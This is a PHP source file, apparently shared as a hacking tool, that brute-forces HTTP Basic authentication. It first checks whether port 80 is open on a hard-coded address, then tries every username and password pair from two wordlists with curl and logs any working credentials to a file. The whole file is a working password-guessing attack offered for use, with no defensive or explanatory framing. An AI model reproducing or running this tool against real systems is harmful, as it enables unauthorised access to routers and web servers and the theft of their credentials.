http_brute.rar_This Is It

<?php //Author:ClsHack.it //Site:www.clshack.it :D set_time_limit (0); define("DICTIONARY_PASSWORD","/home/clshack/pass.txt"); define("DICTIONARY_USERS","/home/clshack/users.txt"); define ("RESULT","result.log"); define ("PORT",80); define ("TIMEOUT",0.6); //output function write($string) { $fh = fopen(RESULT, 'a') or die("Can't open file:".RESULT."\n\nControl file permission."); fwrite($fh, $string."\n"); fclose($fh); } //port is open ? o.O function unreadable($ip) { $fp=@fsockopen($ip, PORT, $errno, $errstr, TIMEOUT); //response ? if($fp) return 1; //port close... return 0; } //is http basic authentication ? o.O function http_basic($ip) { $ip="http://".$ip; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$ip); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_NOBODY, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, TIMEOUT); curl_exec($ch); $info = curl_getinfo($ch); curl_close ($ch); if($info["http_code"]=="401") return 1; else if($info["http_code"]=="200") { echo "$ip Return code 200\n"; write("$ip Return code 200\n"); return 0; } else return 0; } function authentication($ip,$user,$password) { $ip="http://".$ip; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$ip); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_NOBODY, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch,CURLOPT_USERPWD, "$user:$password"); curl_setopt($ch, CURLOPT_TIMEOUT, TIMEOUT); curl_exec($ch); $info =curl_getinfo($ch); curl_close ($ch); if($info["http_code"]=="200") return 1; else return 0; } function crack($ip) { $esci=1; $users_file = @fopen(DICTIONARY_USERS, "r"); if ($users_file) { while (!feof($users_file) && $esci) { $user = fgets($users_file); $user=str_replace("\r","",$user); $user=str_replace("\n","",$user); $password_file = @fopen(DICTIONARY_PASSWORD, "r"); if ($password_file) { while (!feof($password_file)) { $password = fgets($password_file); $password=str_replace("\r","",$password); $password=str_replace("\n","",$password); //echo "->$user:$password, ip:$ip\n"; if(authentication($ip,$user,$password)) { echo "Password found ->$user:$password, ip:$ip\n"; write("Password found ->$user:$password, ip:$ip\n"); $esci=0; break; } } fclose($password_file); } else die("Can't open dictionary.\n"); } } else die("Can't open dictionary.\n"); fclose($users_file); } $ip="192.168.1.1"; if(unreadable($ip)) { if(http_basic($ip)) { echo "$ip\n"; crack($ip); } } ?>